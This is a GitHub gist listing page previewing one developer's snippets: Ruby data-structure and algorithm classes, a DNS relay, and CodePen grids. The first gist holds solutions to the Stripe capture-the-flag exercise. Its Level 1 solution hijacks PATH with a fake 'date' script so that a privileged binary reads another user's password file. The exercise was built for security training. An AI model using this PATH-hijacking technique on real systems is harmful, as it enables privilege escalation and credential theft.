shadabahmed’s gists

shadabahmed / ctf.txt

Created February 23, 2012 06:43

Solutions for https://stripe.com/blog/capture-the-flag

	Level 1:
	cd /tmp
	echo "cat /home/level02/.password" > date
	chmod +x date
	PATH=`pwd`:$PATH
	export PATH
	/levels/level01

	Level 2:
	In javascript console before submitting the form:

shadabahmed / heap.rb

Created February 25, 2012 03:55

Heap Class - Options to create max heap or min heap. Insertion, Removal , Max and Sort methods available

	class Heap
	# Specify whether max heap or min heap
	def initialize(p, max_heap = true)
	@arr = Array.new p
	@max_heap = max_heap
	build
	end

	def size
	@arr.size

shadabahmed / primes.rb

Created February 25, 2012 03:57

Primes - A class for finding upto nth prime .. optimizes by dividing by only already figured out primes

	class Primes
	# Initialize list of primes with 2
	@@primes = [2]
	@@current_prime = 1

	# Reset the prime number generator
	def self.reset
	@@current_prime = 1
	end

shadabahmed / bitfield.rb

Created March 6, 2012 07:10

BitField - Dynamically optimizes for 64 bit or 32 bit integers. Bitfield can be used to store a list of numbers and accessing the numbers in or(1) time

	# Sample use:
	# Initialize a bitfield with max size
	# b = BitField.new(32768)
	# Add numbers
	# b.add(5)
	# b.add(16768)
	# Find Numbers
	# b.has?(5)
	# Print the internal state of BitField
	# b.print

shadabahmed / gist:4951097

Last active December 13, 2015 17:49

Simple DNS Relay

	.. initilized socket at port 53
	data = server.recvfrom(Resolv::DNS::UDPSize)
	sender_ip = data[1][2]
	sender_port = data[1][1]

	Resolv::DNS::Message::decode(data[0])
	sock = UDPSocket.new(Socket::AF_INET)
	sock.connect('8.8.8.8', 53)
	sock.send(@query.encode, 0)
	reply = sock.recv(Resolv::DNS::UDPSize)

shadabahmed / range_count_tree.rb

Last active December 14, 2015 17:38

Range Count Tree For problems like given n ranges, find the interval when maximum ranges intersect

	# RangeCountTree
	# A bst variant for fast retrieval of count of ranges which are intersecting given n ranges
	#
	# Creator : Shadab Ahmed
	#
	# Each node stores a range and the count of intervals which intersect with the range.
	#
	# We just follow these rules:
	# 1. Any range which is greater than the current range is stored in the right subtree
	# 2. Any range which is smaller than the current range is stored in the left subtree

shadabahmed / index.html

Created March 23, 2013 12:48

A CodePen by Shadab Ahmed.

	<div class="rumor">
	<div class="dropdown">
	<label>Algorithm:</label>
	<select id="algo">
	</select>

	<label>Number of People:</label>
	<input id="count" type="text" value="60" name="count"/>
	<label>Speed:</label>
	<select name="speed" id="speed">

shadabahmed / parens_permute.rb

Last active December 16, 2015 04:59

A tree for creating parenthesis permutation

	require 'graphviz'

	class LeveledBinaryTree
	Node = Struct.new(:weight, :str, :left, :right)

	attr_accessor :levels, :root

	def initialize(clear_last_level = true)
	@root = Node.new(1, '(')
	@levels = {0 => [@root]}

shadabahmed / index.html

Created April 18, 2013 17:38

A CodePen by Shadab Ahmed.

	<section>
	<table class="grid">
	<colgroup><col><col><col>
	<colgroup><col><col><col>
	<colgroup><col><col><col>
	<tbody>
	<tr> <td> <td> <td> <td> <td> <td> <td> <td> <td>
	<tr> <td> <td> <td> <td> <td> <td> <td> <td> <td>
	<tr> <td> <td> <td> <td> <td> <td> <td> <td> <td>
	<tr> <td> <td> <td> <td> <td> <td> <td> <td> <td>

shadabahmed / index.html

Created April 19, 2013 09:43

A CodePen by Shadab Ahmed. Soduko Solver - Simple sudoko solver where we have atleast one unambigous cell all the time when solving the puzzle

	<section>
	<table class="grid">
	<tbody>
	<tr> <td> <td> <td> <td> <td> <td> <td> <td> <td>
	<tr> <td> <td> <td> <td> <td> <td> <td> <td> <td>
	<tr> <td> <td> <td> <td> <td> <td> <td> <td> <td>
	<tr> <td> <td> <td> <td> <td> <td> <td> <td> <td>
	<tr> <td> <td> <td> <td> <td> <td> <td> <td> <td>
	<tr> <td> <td> <td> <td> <td> <td> <td> <td> <td>
	<tr> <td> <td> <td> <td> <td> <td> <td> <td> <td>

Shadab Ahmed shadabahmed